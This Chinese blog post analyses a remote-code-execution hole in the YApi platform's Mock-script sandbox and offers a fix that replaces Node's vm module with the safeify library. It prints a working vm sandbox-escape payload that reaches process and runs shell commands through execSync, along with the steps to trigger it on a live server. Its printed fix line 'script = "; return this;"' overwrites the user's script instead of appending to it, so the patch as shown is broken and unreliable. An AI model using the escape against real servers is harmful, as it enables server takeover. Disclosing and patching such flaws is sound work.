YApi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。
目前Yapi在GitHub的关注数有523,Star数21.7k,Fork数3.7k,使用的企业非常广泛,包括阿里巴巴、腾讯、百度、去哪儿等等。
近日,不少用户反映YApi平台存在高危漏洞,攻击者可利用该漏洞在目标服务器上执行任意代码,可导致服务器被攻击者控制,根据官方Github issue显示,多位用户反馈使用该平台后服务器被黑客入侵植入木马.
侵入流程
- 扫描YApi Web服务 -> 注册账号 -> 在个人项目中创建接口
- 在接口的高级Mock中添加自定义脚本,在服务器上执行命令
whoami && ps -ef
image-20210718190004792
- 访问mock接口,触发脚本,获取命令
whoami && ps -ef
的执行结果
image-20210718190154336
- 这里只是演示,当然黑客可能执行的是其他危险命令。
侵入原理
既然是Mock脚本引发的安全问题,可以直接查看YApi关于Mock脚本处理的相关源码:
代码语言:javascript复制// 处理mockJs脚本
exports.handleMockScript = function (script, context) {
let sandbox = {
header: context.ctx.header,
query: context.ctx.query,
body: context.ctx.request.body,
mockJson: context.mockJson,
params: Object.assign({}, context.ctx.query, context.ctx.request.body),
resHeader: context.resHeader,
httpCode: context.httpCode,
delay: context.httpCode,
Random: Mock.Random
};
sandbox.cookie = {};
context.ctx.header.cookie &&
context.ctx.header.cookie.split(';').forEach(function (Cookie) {
var parts = Cookie.split('=');
sandbox.cookie[parts[0].trim()] = (parts[1] || '').trim();
});
// 执行脚本
sandbox = yapi.commons.sandbox(sandbox, script);
sandbox.delay = isNaN(sandbox.delay) ? 0 : sandbox.delay;
context.mockJson = sandbox.mockJson;
context.resHeader = sandbox.resHeader;
context.httpCode = sandbox.httpCode;
context.delay = sandbox.delay;
};
/**
* 沙盒执行 js 代码
* @sandbox Object context
* @script String script
* @return sandbox
*
* @example let a = sandbox({a: 1}, 'a=2')
* a = {a: 2}
*/
exports.sandbox = (sandbox, script) => {
try {
const vm = require('vm');
sandbox = sandbox || {};
script = new vm.Script(script);
const context = new vm.createContext(sandbox);
script.runInContext(context, {
timeout: 3000
});
return sandbox
} catch (err) {
throw err
}
};
主要就是封装参数,然后调用sandbox方法沙盒执行js代码,引入的vm库来执行。在执行JS代码时,写入危险的shell命令来执行,以此来获取机器操作权限。
问题根源
VM
是 Node.js 默认提供的一个内建模块,VM
模块提供了一系列 API 用于在 V8 虚拟机环境中编译和运行代码。通过调用 script.runInContext
看起来似乎隔离了代码执行环境,但实际上却很容易「逃逸」出去。Node.js 的官方文档中也提到「 不要把 VM
当做一个安全的沙箱,去执行任意非信任的代码」。
我们分析下产生安全漏洞的脚本:
代码语言:javascript复制const sandbox = this
// 获取当前对象的构造方法
const ObjectConstructor = this.constructor
// 获取方法的构造方法
const FunctionConstructor = ObjectConstructor.constructor
// 动态定义方法,返回process对象,process全局可用
const myfun = FunctionConstructor('return process')
const process = myfun()
// 执行shell命令
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
总结一句话:YAPI使用的脚本执行沙箱有安全漏洞,被黑客利用了。
而YAPI支持脚本执行的地方有Mock脚本,接口的预处理脚本,测试集合的断言脚本。
所以目前的方案:最好不要部署在公网、关闭注册功能等都是治标不治本的方案。
能不能将YAPI使用的vm沙箱替换为安全的沙箱成为解决问题的关键。
safeify:更安全的沙箱
没有最安全,只有更安全,相较于VM 我们引入更安全的 Safeify 沙箱, 具有如下特点:
- 为将要执行的动态代码建立专门的进程池,与宿主应用程序分离在不同的进程中执行
- 支持配置沙箱进程池的最大进程数量
- 支持限定同步代码的最大执行时间,同时也支持限定包括异步代码在内的执行时间
- 支持限定沙箱进程池的整体的 CPU 资源配额(小数)
- 支持限定沙箱进程池的整体的最大的内存限制(单位 m)
YAPI 代码修改
引入safeify库实现脚本执行的sandbox,来替代之前的sandbox实现。
项目中安装safeify
代码语言:javascript复制npm i safeify --save
在server/utils/
目录下创建sandbox.js
文件,内容如下:
const Safeify = require('safeify').default;
module.exports = async function sandboxFn(context, script) {
// 创建 safeify 实例
const safeVm = new Safeify({
timeout: 3000,
asyncTimeout: 60000,
// quantity: 4, //沙箱进程数量,默认同 CPU 核数
// memoryQuota: 500, //沙箱最大能使用的内存(单位 m),默认 500m
// cpuQuota: 0.5,
// true为不受CPU限制,以解决Docker启动问题
unrestricted: true,
unsafe: {
modules: {
// 引入assert断言库
assert: 'assert'
}
}
});
safeVm.preset('const assert = require("assert");');
script = "; return this;";
// 执行动态代码
const result = await safeVm.run(script, context);
// 释放资源
safeVm.destroy();
return result
};
替换server/utils/commons.js
中的yapi.commons.sandbox
const sandboxFn = require('./sandbox')
引入sandbox
文件,使用await sandboxFn
替换yapi.commons.sandbox
注意:sandboxFn为异步方法需要添加await,exports.handleMockScript
方法实现前要添加async
至此,即可修复目前YAPI已存在的安全问题。
问题说明
- MockJson脚本调用报错:
Error: Cannot read property 'delay' of undefined
在sandbox.js
中添加script = "; return this;";
,只有脚本中带return语句,变量result才能获得返回值。 - 在镜像中启动服务报错:
Error: EROFS: read-only file system, mkdir '/sys/fs/cgroup/cpu/safeify'
这是safeify为了限定CPU资源使用,需要在此路径下写入文件,但是在镜像中此路径为只读路径,在 new Safeify对象时设置unrestricted: true,
即可。 - 断言功能不可用,
assert.equal is not a function
safeify对于执行脚本中库的引入方式与之前不同,需要通过unsafe来实现,具体可以看上面的sandbox.js的实现。 - 测试集合中log对象无效 测试集合中在断言失败的情况下,使用log来进行调试,但是接入safeify之后,log功能有点问题,后续更新解决办法,可以先关注一下。
- assert严格模式,
Cannot convert object to primitive value
在之前的assert.equal({}, '')
是可以通过的,引入safeify后会报错,但是问题不大,最好还是按照严格模式来写。